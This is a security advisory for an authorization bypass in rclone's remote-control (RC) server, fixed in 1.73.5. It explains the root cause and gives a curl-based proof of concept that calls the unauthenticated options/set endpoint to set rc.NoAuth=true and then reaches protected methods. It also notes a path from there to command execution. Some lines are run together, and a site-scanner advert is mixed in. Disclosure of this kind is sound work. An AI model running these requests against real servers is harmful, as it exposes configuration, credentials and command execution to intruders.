| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/rclone/rclone | ≥ 1.45.0, < 1.73.5< 1.73.5 | 1.73.5 |
| rclone | ≥ 1.45, < 1.73.5 | 1.73.5 |
The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.
Preconditions for this vulnerability are:
--rc flag or by running the rclone rcd server--rc-addr flag is in use--rc-user/--rc-pass/--rc-htpasswd/etcThe root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.
The issue is caused by two properties of the RC implementation:
options/set is exposed without AuthRequired: trueAuthRequired calls using the mutable runtime value s.opt.NoAuthRelevant code paths:
options/set without AuthRequired: truercOptionsSet reshapes attacker-controlled input into global option blocksif !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freerc.NoAuthtrueAuthRequiredThis creates a runtime auth-bypass primitive on the RC interface.
After setting rc.NoAuth=true, previously protected administrative methods become callable, including configuration and operational endpoints such as:
config/listremotesconfig/dumpconfig/getoperations/listoperations/copyfilecore/commandRelevant code for the second-stage command execution path:
metadataMapper() uses exec.Command(...)operations/copyfile is normally AuthRequired: truerc.NoAuth=true, it becomes reachable without credentialsThis was validating using the following:
master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82v1.73.4The issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).
Start a vulnerable server:
rclone rcd --rc-addr 127.0.0.1:5572
No --rc-user, no --rc-pass, no --rc-htpasswd.
First confirm that a protected RC method is initially blocked:
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
-H 'Content-Type: application/json' \
--data '{}'
Expected result: HTTP 403.
Use unauthenticated options/set to disable the auth gate:
curl -sS -X POST http://127.0.0.1:5572/options/set \
-H 'Content-Type: application/json' \
--data '{"rc":{"NoAuth":true}}'
Expected result: HTTP 200 {}
Then call the same protected method again without credentials:
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
-H 'Content-Type: application/json' \
--data '{}'
Expected result: HTTP 200 with a JSON response such as:
{"remotes":[]}
This was successfully reproduced:
Using the public host, the following was confirmed:
options/set successfully set rc.NoAuth=trueThis is an authorization bypass on the RC administrative interface.
It can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.
Depending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.